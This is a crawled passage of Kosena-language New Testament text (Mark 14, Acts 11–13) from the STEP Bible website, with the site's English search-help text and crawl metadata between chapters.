suwaná 60 aivaꞋ-mónó-káwáánákó usásinena Ísumba áísaa ena séna simánkáan-aimba anondá íya síníyono súwana 61 Ísu iséna íma aaí súwana aivaꞋ-mónó-káwáánákó áísaa ena séna kesáámó áwíꞋo mósá maráúndawai ááninko e Áánútumo usásinankaiwai KáráísitiyaꞋona simásimiyo súwana 62 Ísu séna kemá úne. suwánáínaꞋa kemá kwaási úrandako Áánútu asirayáwáímá ayáánúrapaꞋa asirayán-áyámpáꞋá uméꞋa ainámpímbá kumónaumne Ísu súwana 63 aivaꞋ-mónó-káwáánákó arumbá sáwíꞋa kwéuwana kwená unáánkwátói tarátuwena séna Áánútumba akáꞋáámba simánkena kwesáváí simbá póta mináíntáváí aaivimbá mayankéta óꞋon-aimbo simánkáamba avakáá únda póta ivátá tuwéta 64 Áánútumbo simáímo sáwíꞋo umánkáintavaiya nóraya ónaumno súwasa sáwíꞋan-ivo tuvuwíyana puwíno sésa 65 Ísumba tuwirááíma kwirankésa aúrampaꞋa ampantanéí káátamakesa kwétuvuwesa sésa esáváí se Áánútu usásisinkaiwai úne séndawai ómpo kemá nááwa kwétuvuwuna simásimiyo kwésuwasa i-kwáásí áíꞋmai tiyáándei tuvúkáawe.\nPítaa íma awánáúnda-kwaasiye siráin-kwasai.66 Pítaa naamaúvaꞋa ména iraráꞋá kwégauvuwana aivaꞋ-mónó-káwáánákóná kwayór-árásígó téna Pítaamba takarákéna séna Ísu Násáretivakewaise maéndawai óne súwana 68 emó sénda-aimba sáákoma íma kaweꞋán-iye simásuwena máápar-ontavimba komáyowana 69 minárásígó moórágwaraꞋa awánéna máyón-kwaasiyavena séna evíwána kwaásivinkendaꞋan-iye súwana 70 moórágwaraꞋa Pítaa séna ímaniye simásuwena máyowasa sáwíyankaꞋa máyómba Pítaantavesa sésa áraita súne. KárírivakendaꞋa po kwená kwayó-kwáásívínkéndáꞋá óne suwaná 71 Pítaa aikaꞋá maréna séna kampar-áímbó kwésenanamo éna Áánútu sínkaminiye. síyawaimba íma awánáúndanaꞋan-iye kwésuwana 72 kokórigoma moórágwaraꞋa áái súwana Pítaa Ísumo simámun-aimba áákaꞋa maréna mirá siráinkaꞋa kokórigomo kaekáꞋó ááimo ímo siráindaraꞋa emá kaumboráꞋá kentáváí se íma awánáúnda-kwaasiman-iye síníyone siráimba mináímbá áákaꞋa maréna ávááraumai iviꞋá taráiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Mar.14","date":"2018-04-23T03:52:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945724.44\/warc\/CC-MAIN-20180423031429-20180423051429-00568.warc.gz","language":"kze","language_score":1.0000038147,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 1.0000038146972656}","num_words":1149,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.147,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Acts 11\nYérúsaremuvaꞋa Pítaa simátímakain-kwasai.1 óꞋonkaa-kwaasi Ísun-aai isésa tátokaawemo sumbá aantá-kwaasiye Ísuna aampaꞋá kuwáí Yútiyaa-maravaken-kwaasiye mináímbá isésa máyówana 2 Pítaa Yérúsaremu-naopaꞋa kúwasa évaka-kwaasi áwááꞋa aéésa Yútaa-kwaasi túraꞋa kárámai araaꞋéna kwéontemba óꞋonkaa-kwaasigwaraꞋa mirá orómó sirón-kwaasi Pítaamba áwááꞋa aéésa 3 sésa emá óꞋonkaa-kwaasiti naaúmpaꞋa ugwaé ímo túmo kárámai araaꞋéna úmakaan-kwaasiti naaúmpakemba toómbá umandaráane suwaná 4 Pítaa amápa-tantaaꞋa uráimba simátimena 5 séna Yópaa-naopaꞋa méꞋa ÁánútumpaꞋa námúnaa séwándaraꞋa kaainkáámbá awánaawanana kwíyómpakemba anón-ampanta éíyain-araairaꞋa tátoresa túwówana kuména kesí egwaaꞋá kumúwaꞋa 6 mimpímbá árimba awánaawanda póíma kwaí-kwaamba iraankavayaambá ávááꞋ-numama máyowaꞋa awánaawanana 7 aaigówé suꞋmai séna Pítaao usásinke tuvúꞋmái agandaaó súwaꞋa iséꞋa 8 séꞋa Ísóigoo ímanivo kentáásí ámáámba mirán-tántááꞋá aambá áúmbakaawata póꞋa íma kwénaumne séwánana 9 minááígówé suꞋmai ókwaraꞋa séna Áánútu kawe-tántááré siráin-tantaatavai íma aambá áúmbakaawe siyó súwaꞋa 10 kaumboráꞋá kaainkáámbá awánaawanana kwíyómpaꞋa minámpántámá iráiye. 11 avekáámbá Sísáriyaavakemba kaumbo-kwáásí kesópaꞋa tiꞋmarówai tumbá 12 Áánútun-amanko simásimena séna íma kaer-ímáyáá e miwísé kwaaó súwaꞋa kówánasa Yópaavakemba maankwáásí avaꞋmoraé-kwaasi Ísun-aai ísáawai súyorowata Sísáriyaa-naopata Kóníríyasina naaúmpata kówánana 13 simásimena séna Áánútuna kwayóꞋnáꞋá kwíyómpakewai kesí naaúmpaꞋa kumbáyáísaꞋa awánáúnana séna tiꞋmárénasa Yópaa-naopakemba moóráwai áwíꞋa Sáímoni Pítaamba koaíréwana 14 téna aaí tagwésimatiminaꞋa egwárá ená akúnkwáráꞋá amápaꞋa kwéisewana Áánútu sáwíꞋo umáímo máyáampinkemba kawer-ámpáꞋá métinkaniye kwíyómpakewai siráiye Kóníríyasi súwaꞋa 15 aaí kwésewanana Áánútun-amanko aivaꞋó kentáávímbó kunkáintemba miwívímbá mirá úwaꞋa 16 awánéꞋa moórá-aimba sáákaꞋa makáumne. ááéma Ísóigo séna Yóni nombá pétinkaraimbanivo Áánútun-amanko kuména keinárawapimba anómba umátinkaniye Ísóigo siráin-aimba sáákaꞋa makáumne. 17 ánivo kesáá Ísóigo Ísu Káráísitin-aaiyaveta áraire séwánanaya Áánútu kwenamankómbó símakaintenta óꞋonkaa-kwaasi miwí mirá kwéowaꞋa awánaraunda póꞋa kemá Ísuna mayáí-kwáásímá póꞋa nombá pérómba íma aambá aunówánasa úwoi nombá pékaawe Pítaa súwasa 18 mináímbá isésa áwááꞋo áúmba ivátuwesa Áánútu áwíꞋa mósá marésa sésa Áánútu mirá kwéena íma Yútaa-kwaasiye suꞋmaiya aaí kwésimasimintaanivo óꞋonkaa-kwaasiyavaigwaraꞋa aaí kwésimatimisasagwaraꞋa miwítí sáwí-imayaa tínaaemba umámesa ÁánútunopaꞋa tésa aúnáiꞋa umái maíꞋmaiꞋa ónááowe siráawe.\nÁntíokuvakewai Ísuna kwaásiti kwaasái.19 ááéma Sítívenimba tuvúwúwana puwúwasa óꞋon-kwaasi Ísuna aampaꞋó kun-kwáásí sáwíꞋa umátínkówasa kóyáwé uráamba évakaꞋa Vínísiyaa-maravaꞋa kuwasá évakaꞋa Sáíparasi-maravaꞋa kuwasá évakaꞋa Ántíoku-naopaꞋa kuwasá miwímá minkáúmbó-máráváꞋá máyón-kwaasi Yútaa-kwaasiye suꞋmai Ísun-aai kosimátimesa 20 miwívínkémbá évakaꞋa Sáíparasi-maravakewai évakarawai Sáírini-maravakewai miwímá Ántíoku-naopaꞋa komáyónkaꞋa Yútaa-kwaasiye óꞋonkaa-kwaasiyegwaraꞋa Ísóigo Ísuna áséi-kwasai kosimátimuwana 21 Ísóigona asirayámbá miwísé máyowasa sáwíva-kwaasi Ísóigon-aaiyavesa áraire sésa kwempáꞋá tiráawe.\n22 Ántíokuvaken-kwaasi Ísóigon-aaiyavesa áraire sésa kwempáꞋá tiráan-aimba suwasá Ísóigona kwaási YérúsaremuvaꞋa máyón-kwaasi mináímbá isésa Páánápáasimba aiꞋmárówana Ántíoku-naopaꞋa kweémena 23 koména Áánútu kaweꞋá umátínkaromba tuwánéna aamoí éna asiramái simátimena séna kentirunkaké ísámai Ísóigontavai máéro séna 24 Páánápáasi kawe-kwáásí úwana Áánútun-amanko kwempímbá anómba umánkowana Ísóigonte aráápamai asiramái ména aaí simátímaꞋmaena kwéiyuwasa sáwíva-kwaasi isésa ÍsóigompaꞋa tésa méraawe.\n25 máyówana Páánápáasi Sóromba avakáá úmaena Táásási-naopaꞋa kúmba 26 koawánéna koáíꞋmaena ÁntíokuvaꞋa tésarai moórá-i tamaisuwésarai Ísóigona kwaásiye mésarai sáwíva-kwaasi tayorupontembá Ísun-aai simátímaꞋmaesarai íyúyasa Ísuna aampaꞋá kwéguwaiyavai sésa Káráísitina kwaásiye suwaná aivaꞋá ÁntíokuvaꞋa mináímbá paáruraiye.\n27 mináímbá paárúwana minkánáá évakarawai Áánútun-aai simátímakowai YérúsaremuvaꞋa tuwésa kweémesa ÁntíokuvaꞋa kuwaná 28 miwívínkémbá moóráwai áwíꞋa Ákápáasi kwemá usásinena Áánútun-amanko kwesé máyowana séna anón-ayawaima amápaꞋ-mapaꞋa táníye súnkaꞋa póna naaémba Árómáani-kamaaniti kawáánáꞋá áwíꞋa Kórótíyasa máyonkaꞋa mináyáwáímá paáruraiye. Ákápáasi mináímbá súwasa 29 isésa Ísuna aampaꞋá kwéguwai moórá-morawai sésa óntamba torupamái Ísun-aai ísáawai Yútiyaa-maravaꞋa máyáan-kwaasi timénáe sésa 30 mirá ésa minóntámbá Páánápáasinte Sóronte tímúwasarai maimaésarai kweémesarai Ísóigona kwaásiti anón-kwaasi mátímakaaiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Act.11","date":"2018-04-26T06:02:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125948089.47\/warc\/CC-MAIN-20180426051046-20180426071046-00257.warc.gz","language":"kze","language_score":0.9999911785,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999911785125732}","num_words":634,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.09,"flagged_words_ratio":0.0,"lang_id_score":0.994,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Acts 12\nókwaraꞋa sáwíꞋa umátínkaraan-kwasai.1 minkánáá Érótimba anówainkoma araámáó Érótima Yútaa-kwaasiti kawáánáꞋá kwemá Ísuna aampaꞋá kwéguwai évakarawai sáwíꞋa umátinkena 2 moóráwaimba aiꞋmarówana Yóni awaaó áwíꞋa Yémésimba koyátoꞋmai anumarambá arátuwowana puwúwasa 3 Yútaa-kwaasi Ísun-aaiyavesamo ímo áraire suwáí aamoí kwéuwana Éróti awánéna aamoí umásinkaigwae séna moóráwaimba aiꞋmarówana Pítaamba koyátokai. Yútaa-kwaasi ímo intóráin-tantaakwara-pereti kwéagayon-kanaavimba moórá-tawai Pítaamba koyátoꞋmaena 4 ándávaꞋa máánkowasa siyáánkain-umai avaꞋmoraé-i-kwaasi kwenkáꞋá kárákwirowasa éíyain-eiyain-kwaasi anondánonda umái kárákwiyuwasa Éróti séna naaóváꞋá Áánútu Yútaa-kwaasi tíyótaasa í-tánón-kánáámá ánásainaꞋa Pítaamba áíꞋmaeꞋa Yútaa-kwaasi túrankaꞋa aaivimbá mayankéꞋa inkamónaumnemo kwésumba 5 Pítaa ándávaꞋa máyombanivo Ísóigona kwaási ÍsóigompaꞋa námúnaa simái Pítaamba áwaꞋnaa uráawe.\nPítaamba ándávakemba ayúránkarain-kwasai.6 námúnaa kwésesa Pítaantavai ísámai áísaa uwaná aaváyaaraamba Éróti Yútaa-kwaasi túrankaꞋa Pítaamba aaivimbá mayankánaumne kwésuwana ívéꞋ-noꞋwaankaamba Pítaamba aíyayaankaꞋa asááúmakesa kaer-í-kwáásí évarevaꞋa máyóyana Pítaa aún-kwaigúwasarai kaer-í-kwáásí ontaráꞋá kárákwiroyana 7 avekáámbá Ísóigona kwayóꞋnáꞋá kwíyómpakewai kumúwana ándá-naumpaꞋa sán-kówana Pítaamba ayoíráꞋá kwétuvuwena aúsuwana usásinowana séna avekáán-usásinaao kwésuwana Pítaa ayáámpinken-anda kweyááríkaꞋa ayúꞋmaena marapáꞋá kumúwana 8 kwíyómpakewai séna enámúranda uré enaísamai ánáamba maimái uwó súwana mirá úmayowana ená paákákén-únánkwátói kuvéꞋmáenakai kesé kúmóyo súwana 9 Pítaa ándá-naumpakemba kwenánaaemba kuména íma kwaásin-iye-imayaa éna kaaimbá kwéawanaumne-imayaa kwéena 10 i-kwáásímó máyon-ontaraꞋa kunáyaaitesarai minkákémbá moórá-ontaraꞋa i-kwáásímó máyon-ontaraꞋa kunáyaaitesarai minkákémbá ándávakembo naaópaꞋo kónáesamo uwasamó titinkémáen-ontaraꞋa asirayán-óntáráꞋá kúmúyana kweyááríkaꞋa tigúwasarai kunákárúwagwesarai aampaꞋá kuyaná avekáán-úwana kwíyómpakewai Pítaamba auwéna aúyokuwana 11 Pítaa imáyáa éna séna íma kaaimbá awánáúmpo áraiꞋa Ísóigo kwená kwayóꞋnáꞋá aiꞋmáráísana kuména Éróti sínkamonae kwéisana ayáámpinkemba kuntavíyuwaisaꞋa túne. Yútaa-kwaasigwaraꞋa sínkamonaesamo ombá kuntavíyuwaisaꞋa túne Pítaa siráiye.\n12 Pítaa simásuwena Máríyaana naambó kwáyopaꞋa kwéna Yóni Máákaamba anówana naambó kwáyopaꞋa kúwasa sáwíva-kwaasi mindáúmpáꞋá torupamái mésa Pítaantavai ísámai ÍsóigompaꞋa námúnaa kwésuwana 13 mindánkóná ontaráꞋá kotuwátuwar-úwana moórá-arasi mindáúmpáꞋá kígau ún-arasigo áwíꞋa Áróta ontaráꞋá kuména 14 séna nááwaꞋono súwana Pítaa séna kemá úne súwana Pítaa amósámba iséna kunaamoí úmaena ímo ontamó tiyankómba isaaiséna sáwíva-kwaasitopaꞋa usimátimena séna Pítaa ontaráꞋá máyáiye súwasa 15 miwí sésa emá uwoꞋaóꞋá éma kampaꞋá séne suwaná minárásígó ókwaraꞋa séna áraiꞋa Pítaa ontaráꞋá máyáiye súwasa miwí sésa Pítaan-amankon-iye 16 kwésuwana Pítaa ontaráꞋá árimba tuván-tuvan-úwasa isésa onta kuntisuwésa awánomba kwemá Pítaa úwasa táátavai uwaná 17 aaisékéwaꞋa simátíméno séna Ísóigo ándávakemba kembá síꞋmaena aampaꞋá mésiyuwaivo Yémésinte Ísun-aaimo ísáan-kwaasiye kosimátíméro Pítaa simátimena tiyuwéna óꞋon-daopaꞋa kuráiye.\n18 kúwasa irataróꞋa i-kwáásí Pítaamba kárákwirowai awánomba íma máyowasa kantúmbá ésa Pítaa náávara kóuraiyo suwaná 19 Éróti iséna Pítaamba avakáá oró súwasa avakáá uwááesa tuwówana Éróti miní-kwáásí aaivimbá maitinkéna séna tínkamoro séna évakarawai tiꞋmarówasa tínkamuwasa púwúwana Éróti mirá umásuwena Yútiyaa-maravaꞋa tuwéna kumeémena Sísáriyaa-naopaꞋa kumbéraiye.\nÉróti pukáin-kwasai.20 Éróti Sáítóni-naopaken-kwaasiye Táyaa-naopaken-kwaasiye ávááraumai áwááꞋa tiyúwasa minkáéꞋ-náópaken-kwaasi tayorupamái mésa sésa Érótimo kárákwirai-maravakemba kentáásí toómbá kwémayaundayaawe sésa mináímbá simái kawer-ónáe sésa ÉrótinopaꞋa tumbá kwená naakaꞋó kárákwirowai áwíꞋa Párásatasimba másimamuwana isówasa minááísámbá másimai tukáawe.\n21 minkákémbá Éróti anón-kanaa úwana kwenkáꞋó kárákwirowaina unáánkwátói úmaena kárákwirowai maéꞋmaer-únkaꞋa uména ayáátáár-aimba kwésuwasa 22 Érótimba simái arumbá iyaésa sésa íma kwaásigo kwésivo Ísóigo kwésiye anónkaꞋa suwaná 23 Éróti mináíntávéna íma Ísóigo úmpo úwoi-kwaasi úne séna aúpáꞋá tuwówana Ísóigona kwayóꞋnáꞋá kwíyómpakewai tuvuwúwana uvowánkó arumbá unkarówana pukáiye.\n24 puwúwasa Ísóigona kwaási Áánútun-aai kosimátin-tasimatin-uwasá isésa áraire sésa ÍsóigompaꞋa tésa méraawe.\n25 Ántíokuvaken-kwaasi Yérúsaremuvaken-kwaasiyavesa óntamba timénaumne sirómba pósarai Páánápáasiye Sórowe kwétiꞋmatuwesarai mimbáyáí ánásowasarai ívé-kwaasigo áwíꞋa Yóni Máákaamba áíꞋmaesarai YérúsaremuvaꞋa tuwésarai kweémesarai ÁntíokuvaꞋa kurááiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Act.12","date":"2018-04-26T06:06:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125948089.47\/warc\/CC-MAIN-20180426051046-20180426071046-00258.warc.gz","language":"kze","language_score":0.9999514818,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999514818191528}","num_words":638,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.077,"flagged_words_ratio":0.0,"lang_id_score":0.994,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Acts 13\nÁánútu Páánápáasinte Sóronte mayáí tímakain-kwasai.1 Ántíoku-naopaꞋa Ísóigona kwaásivinkemba Áánútun-aai kwésimatimen-kwaasiye kawer-ímáyáá kwéagaraantinkaan-kwaasiye mésa moóráwai áwíꞋa Páánápáasi úwana moóráwai avután-kwaasigo áwíꞋa Símiyoni úwana moóráwai Sáíríni-maravaken-kwaasigo áwíꞋa Árúsiyasi úwana moóráwai áwíꞋa Mánéyeni kwemá Éróti kawáánákóná naaúmpaꞋa maémaumba úwana moóráwai Sóro úwana umái mésa 2 moórá-kanaa Ísóigona kwaási Áánútuna imáyáa mósá kwémaresa toómbá íma kwénesa námúnaawe suꞋmai kwésunkaꞋa Áánútun-amanko simátimena séna Páánápáasinte Sóronte kesí mayáíráꞋá usásintinkaraumpo mindárai tiyúwáaro súwasa 3 toómbá íma nombá námúnaawe suꞋmai kwésesa Áánútuna mayáí mayáígwáe sésa tineꞋá tiyáándei tátoresa tiꞋmárówasarai kurááiye.\nSáíparasi-maravaꞋa kosimátímakaayan-kwasai.4 Áánútun-amanko Páánápáasinte Sóronte tiꞋmarówasarai Yóni Máákaamba áíꞋmaesarai Ántíoku-naopaꞋa tuwésarai Sérúsiyaa-naopaꞋa kumésarai uwí-nónkóná avumpim-báráváꞋá áwíꞋa Sáíparasi-maravaꞋa kónáe sésarai nompí-sípí tátoꞋmai usáatesarai kweémesarai 5 Sáíparasi-maravaꞋa Sárámisi-naopaꞋa mindómpí-sípívínkémbá kunásávesarai Yútaa-kwaasiti monoꞋ-náúmpímpáꞋá Áánútun-aai simátímaꞋmaesarai kwéguyana Yóni Mááka túwaꞋnaa úmaena kúwasarai 6 kawer-áímbá simátímaꞋmaesaya marapáꞋá kweémesaya Páávoso-naopaꞋa kuwaná moóráwai mindáópaꞋa Yútaa-kwaasigo ména kwenáwíꞋa Paayísu Kíríki táávinken-kwiꞋa Érímasa kwemá pukaaꞋá agayón-kwaasi póna kampaꞋá séna Áánútun-aai simátimundawai úne súwana 7 moóráwai kámááni-kwaanako áwíꞋa Sésiasa Porasa ména kawer-ímáyáágwárá-kwáásí póna Áánútun-aai isánáe séna Páánápáasinte Sóronte tááyowana Érímasa pukaaꞋá agayón-kwaasigo kámááni-kawaanakoe aasiyaasí maíꞋmaiꞋa úwai máyowana kámááni-kawaanako Páánápáasinte Sóronte tááyowasarai tuyaná ÉrímasaagwaraꞋa téna 8 mindárai táái tasimái karéna kámááni-kawaanako Ísun-aaiyavai áraire sivo séna mindárai táái tasimái karówana 9 Sóro moórá-awiꞋa Póro Áánútun-amanko kwempímbá anómba umánkowana Póro pukaaꞋá agayón-kwaasigomba arááꞋa avuwéna 10 séna Sáátáánigo árááꞋa po kawer-ánkóná uwa-kwáásí éma amápa-sawisawaa-imayaao empímbá anómba umánkaraimba po Ísóigona kawer-ámbá sáwíꞋa úmae iyóndayavena 11 ívéꞋa Ísóigo ená meéyámbá amína aúramba kavíkwína évaka-tawai sámo káínda íma awánaniyone Póro súwana avekáámbá Érímasaamba aúrampaꞋa ítáguwana siyáánkaꞋo tátoꞋmaesamo naaíyane séna kwaási tivakáá úmae kwénaauwana 12 kámááni-kawaanako Ísóigon-aai iséna áátavai éna Ísóigomo úmba awánéna séna Ísóigon-aai árair-aimban-iye séna kwempáꞋá téna méraiye.\nPísítiyaa-maravaꞋa Ántíoku-naopaꞋa kurááyan-kwasai.13 Póro kwesé kwénaauwaise Páávoso-naopaꞋa tuwésaya nompí-sípí tátoꞋmai usáatesaya kwémesaya Pámpíriyaa-maravaꞋa Pékaa-naopaꞋa mindómpí-sípívínkémbá kunásávesaya kúmúwana Yóni Mááka tiyuwéna YérúsaremuvaꞋa kóúwasarai 14 mindárai marapáꞋá kweémesarai Písítiyaa-maravaꞋa Ántíoku-naopaꞋa kwésarai Yútaa-kwaasi monor-áímbá kwéison-kanaaraꞋa Yútaa-monoꞋ-naumpaꞋa maraꞋá umáyóyasa 15 aúváí-kwandaavinkemba Áánútuna ámáámba Mósesi agaimakómba simátimesa Áánútun-aai simátímakowai agaimakón-aimba simátímúwasa Yútaa-mono-kawaanarawaꞋa moóráwaimba aiꞋmárówana mindáraitopaꞋa téna séna kentáásí kwaásiraiyo kwaasái kwáyainakaimo ékai kentáásí imáyáa simái kaweꞋá umásinkaakaiyo súwana 16 Póro usásinena séna maísáaro. kesí Ísareri-kwaasiye óꞋonkaa-kwaasi Áánútuna imáyáa mósá máráawaiye ísáaro. 17 naaóváꞋá Ísareri-kwaasiti Ísóigo kentáá síkwáꞋnáyavena séna kesí kwaásiman-owe súwasa óꞋon-kwaasiti maraváꞋá Ísípi-maravaꞋa mésa sáwíva-kwaasi agáyówana Áánútu kwená anón-asirayamba kwáyontavai Ísípivakemba tíꞋmaena 18 kavóná-maravaꞋa mátinkowasa sáwívar-ima 40 iraꞋa kwénaaesa aasiyaasí Áánútuntavesa sáwí-imayaa kwéumbanivo Áánútu miwíráꞋá kárákwirena íma tiyuwówasa 19 Kénááni-maravaꞋa avakaeté-maravaken-kwaasi moórá-mora-umai máyówana Áánútu tínkambaena kwéiyuwasa évakaꞋa putásowana miwítí maramá maimaéna kwená kwaási Ísareri-kwaasi mátimuwasa 20 mimbáráváꞋá mésa sáwívar-ima 450 ima maisukáawe.\n450 ima maisúwówana Áánútu moórá-mora-kwaasi kawáá-máyáíráꞋá usásintinkavaꞋa kúwana Áánútun-aai simátímakowai áwíꞋa Sámúwéri kwemá usávaaruwasa mirán-káwáá-kwáásí ánásasowasa 21 Ísareri-kwaasi Áánútu íma kentááráꞋá kárákwiyinkwae sésa kentáávínkémbá moóráwaimo éna kentááráꞋá kárákwiyiniye suwaná Áánútu séna Pénisamini-andarakewai Kísaa ááninko áwíꞋa Sóro kwemá kárákwiyi-mayai mayáníye súwana mimbáyáí mairéna 40 ima maisuwówana 22 Áánútu mimbáyáí Sórompakemba Yési ááninko áwíꞋa Tévítimba amúwana mayówana séna Tévíti kemó súndanteniꞋa kwéimba póꞋa aamoí kwéumankaumne Áánútu siráiye. 23 naaóváꞋá Áánútu séna Tévítin-andarakembo aánomo usásinankaandawai kwemó éna Ísareri-kwaasi sáwíꞋo umáímo máyáampinkemba kawer-ámpáꞋá métinkaniye siráimba Ísuntavena árair-aimba siráiye. 24 Ísu íma amápa-kwaasi túrankaꞋa paárurowana Yóni nombó pétinkowai amápar-Isareri-kwaasiyavena simátimena séna kentí sawi-ímáyáá tínaaembo umámeꞋo ÁánútumpaꞋo tíyaꞋo éꞋa nombá pétinkanaumne súwasa mirá uwaná nombá pétinkena 25 kwená mayáí sáwíyankaꞋa ánásaniye kwéuwana simátimena séna kentí imáyáaomo kentáváímó nááwaꞋiyo sénááomba kwéamuꞋmaraawai kemá íma kwemá úmpo kesínaaemba tíníwai kwemá anóndakoma kembá usáyaaitaraimba póꞋa kwemó aaimó síndavimba kemá aaimó sendamá uwóvíꞋa ónaumne Yóni siráiye Póro siráiye.\n26 Póro simásuwena séna kesí kwaási Ááváramun-andaraken-kwaasiye óꞋonkaa-kwaasi Áánútuna imáyáa mósá máráawaiye ísáaro. sáwíꞋo umáímo máyáampinkemba kawer-ámpáꞋá métinkaimba kentááyávéna Áánútu siráiye. 27 Yérúsaremuvaken-kwaasiye miwítí kawáánárawate sáwíꞋo umáímo máyáampinkemba kawer-ámpáꞋá métinkaniyemo siráin-aimba Ísuntavai sirómba íma imáyáa uráawe. aasiyaasi-táwai monor-áímbá kwéison-kanaama Áánútun-aai simátímakowai agaimakón-aimba aúváí-kwandaavinkemba táámpamai kwésuwasa isésa Ísuntavai sirómba íma imáyáa uráavo tuvúwana pukáivo mináúváí-kwándááívínkén-áímbá paáruraiye. 28 tuvuwí-ámbá avakáá umbá íma sáwíꞋa uráimbanivo Páírátintavesa úwoi sésa tuvuwíníyone siráawe. 29 Áánútun-aai aúváí-kwandaaivimba Ísun-aai agaimakómba amápaꞋa mirá uwasá taairakémbá maimái murí-áívímbá máutamankowana 30 Áánútu pukáimpinkemba usásinankowana 31 ayáátáákaꞋa moórá-mora-tawai kwená kwaási túrankaꞋa paáruraiye. ímo tuvúkónkaꞋa Kárírivakemba YérúsaremuvaꞋa kwesé kuráawai pukómpinkemba usásinenamo moórá-mora-tawaimo paárumai máyomba minkwáásí awánésa sésa awáraundayavai ísaraundayavai Ísareri-kwaasi kosimátímaꞋmaeta kónáe sésa kuráamba mimbáyáí paaí kwémayaawe. 32 Páánápáasiye kesé mináséí-kwásáí simátíméyanekai túye. Áánútu kentáá síkwáꞋnáyavena mirá ónaumne sirómba kesáá máyaunda-kanaavinta mirá éna Ísumba pukáimpinkemba usásinankaraiye. mináímbá monor-ímá agaimakón-auvaivimba kaepímbá agaimaréna séna\nemá kesáánimba ónaꞋa\nkesí mayáíráꞋá ánkaraumne\nagaimaréna siráiye. 34 Áánútu pukáimpinkemba usásinankaraimba póna íma ókwaraꞋa puwínana áúma kaviráníntavena Áánútu séna\nTévítintaveꞋa séꞋa áraiꞋa kaweꞋá umánkanaumne siráundantemba embá kaweꞋá umánkanaumne\nÁánútu siráiye. 35 moórávaꞋa monor-ímá agaimakón-auvaivimba agaimaréna séna\nÁánútu kwená kawe-kwáyóꞋnáꞋá íma\nauwáínana áúma kaviráníye\nagaimaréna siráiye. 36 mináímbá íma Tévítintavena siráivo Tévíti Áánútuna mayáí kwémaena puwúwasa maimaésa aíkwáꞋnámo utámakompimba máutamarowana áúma kaviraráivo 37 Áánútu Ísumba pukáimpinkemba usásinankarowaimba kwenáúma íma kaviraráiye Póro siráiye.\n38 Póro simásuwena séna kesí kwaásiyono. ísámai kaweꞋá oró. Ísuma pukáimpinkemba usásinankaraiwaintavena kwaásiti sáwí-imayaa sáwí-mayai maitiyuwáníye Áánútu siráiye. mináímbá simátimunda ísámai kaweꞋá oró. 39 Áánútu Mósesimbo simámakain-amaambo kwáráawaimo ombá minámáánkó kentí sáwí-imayaa íma maitiyuwáínana arupí umái máyáawain-owe Áánútu íma sínívo Ísumo éna kwenááiyavesa áraire sésa 